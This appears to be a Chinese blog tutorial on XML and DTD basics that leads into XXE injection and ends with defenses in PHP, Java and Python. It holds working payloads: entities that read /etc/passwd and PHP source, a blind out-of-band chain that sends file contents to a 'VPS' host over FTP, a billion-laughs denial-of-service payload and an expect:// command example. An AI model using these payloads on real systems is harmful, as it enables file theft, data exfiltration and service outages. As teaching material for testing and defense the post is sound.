0x01 XXE基础-XML基础语法
XML被设计用来传输和存储数据。
HTML被设计用来显示数据。
0x02 什么是XML
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 是一种很像HTML的标记语言。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 标签没有被预定义。需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准。
0x03 XML基础语法
XML可以自定义标签。
XML必须含有根元素。
XML必须按顺序闭合标签。
XML标签大小写敏感。
XML属性值须加引号。
举个小栗子
<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明,版本&编码 -->
<note time="2018.07.03" > <!-- 根元素 time为属性 2018.07.03为属性值 -->
<to>Tove</to> <!-- 四个子元素(to,from,heading,body) -->
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note> <!-- 所有的节点必须闭合 -->
0x04 XML实体引用
在 XML 中,一些字符拥有特殊的意义。
如果您把字符 "<" 放在 XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
荔枝
<message>if salary < 1000 then</message> <!-- 发生错误的XML。 -->
<!-- 使用实体引用来代替"<" 字符。-->
<message>if salary < ;1000 then</message> <!-- √ -->
实体引用
在 XML 中,有 5 个预定义的实体引用:
实体引用 | 特殊字符 | 含义 |
---|---|---|
< ; | < | less than |
> ; | > | greater than |
& ; | & | ampersand |
&apos ; | ' | apostrophe |
" ; | " | quotation mark |
0x05 DTD内外部引用
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD 可被成行地声明于XML文档中,也可作为一个外部引用。
内部引用语法
<!DOCTYPE root-element [element-declarations]>
内部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部引用语法
<!DOCTYPE root-element SYSTEM "filename">
外部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<!--note.dtd 文件内容 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
==参数化外部引用==
参数实体:
参数实体只能在DTD中使用,参数是实体的声明格式:
<!ENTITY % 实体名 "实体内容">
引用方式:%实体名
0x06 什么是XXE漏洞
XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、×××内网网站、发起dos×××等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
如何识别xml实体攻击漏洞?
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞,接下来,来看一个小小的展示:
这个是测试wvs的测试点:http://testhtml5.vulnweb.com/
我们点击Login下面的Forgot Pwd?然后用burp抓包
点击repeater,我们来查看返回包
从上面我们可以看到,web应用正在解析xml的内容,接受用户特定或者自定义的输入,然后呈现给用户。为了验证,我们可以构造如下的输入:
可以看到应用程序确实是直接解析了xml,那么如果xml文档中有一个参数是用来调用远程服务器的内容?这个参数是可控的,
如上述所说的:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything[
<!ENTITY myentity SYSTEM="file:///etc/passwd"]>
<xxx>&myentity</xxx>
myentity通过 SYSTEM参数来实体解析远程服务器中的etc/passwd文件,导致xml外部实体攻击。
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。
Code1:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
Code2:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>
</root>
以Code1代码为例,XML外部实体 ‘passwd’ 被赋予的值为:file:///etc/passwd。在解析XML文档的过程中,实体’passwd’的值会被替换为URI(file:///etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器,’passwd’实体的值将从其后的URI中读取。
0x07、Blind XXE
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
所以,在没有回显的情况下如何来利用XXE
思路:
1. 客户端发送payload 1给web服务器
2. web服务器向vps获取恶意DTD,并执行文件读取payload2
3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
4. 通过VPS获得回显(nc监听端口)
本地客户端(payload 1 )
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]></pre>
由于web端会解码,所以需要我们先html实体编码一次
payload 2 也就是test.xml的内容(VPS)
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;</pre>
这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容
0x08、DOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz></pre>
这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
0x09、命令执行
php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF;
$data = simplexml_load_string($xml);
print_r($data);
?></pre>
0x10、防御XXE
使用开发语言提供的禁用外部实体的方法
PHP:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important;">libxml_disable_entity_loader(true);</pre>
JAVA:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important;">DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);</pre>
Python:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important;">from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))</pre>
过滤用户提供的XML数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
** 不允许XML中含有自己定义的DTD**
参考来源:
https://blog.csdn.net/weixin_39997829/article/details/79654861
https://www.cnblogs.com/ESHLkangi/p/9246327.html
https://www.cnblogs.com/zhaijiahui/p/9147595.html